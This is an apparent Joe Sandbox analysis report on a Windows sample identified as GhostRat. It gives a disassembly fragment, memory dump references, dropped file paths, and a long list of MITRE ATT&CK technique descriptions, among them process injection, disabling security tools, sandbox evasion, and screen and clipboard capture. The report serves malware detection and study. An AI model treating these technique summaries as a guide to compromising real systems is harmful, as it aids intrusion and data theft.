Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,0065C502,00000001,00000000,0065C528), ref: 0065117A

Part of subcall function 00411E58: GetProcAddress.KERNEL32(?,?), ref: 00411E82

Strings

DisableProcessWindowsGhosting, xrefs: 00651170
user32.dll, xrefs: 00651175

Memory Dump Source

Source File: 00000005.00000002.4132314048.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.4132290502.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132498745.000000000065D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132525613.000000000065E000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132556469.000000000065F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132582325.0000000000661000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000663000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.0000000000668000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132606955.000000000066B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132681293.000000000066D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132708640.000000000066F000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132730286.0000000000670000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.4132753857.0000000000672000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 03da989b8c341b0011cf5f2f54663901e78246e972d77ad5a530f748acd43f17
Instruction ID: 5f29c36bf5ef2573be6bf32c1ba0481e8d956120234237a4d8ff77b8e3f328bd
Opcode Fuzzy Hash: 03da989b8c341b0011cf5f2f54663901e78246e972d77ad5a530f748acd43f17
Instruction Fuzzy Hash: C3B01265281F00310B7033F30F43FDB044A0C93B4BF0245D97F00D9092CD58C0490039

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report leBwnyHIgx.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GhostRat

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\wpsv.5.6.3[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\PolicyManagement.xml

C:\Users\user\AppData\Local\Temp\PolicyManagement.xml

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2uhxolt4.3yp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3f2kgilz.y5o.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5e40mvrz.aji.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bteyrahd.zpn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3ifemcv.nhm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gguurgl1.zpk.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_he3vdlw1.h20.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hte1dhgm.nri.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5haeaxe.uic.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3ane3o0.tdj.ps1

Windows Analysis Report
leBwnyHIgx.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre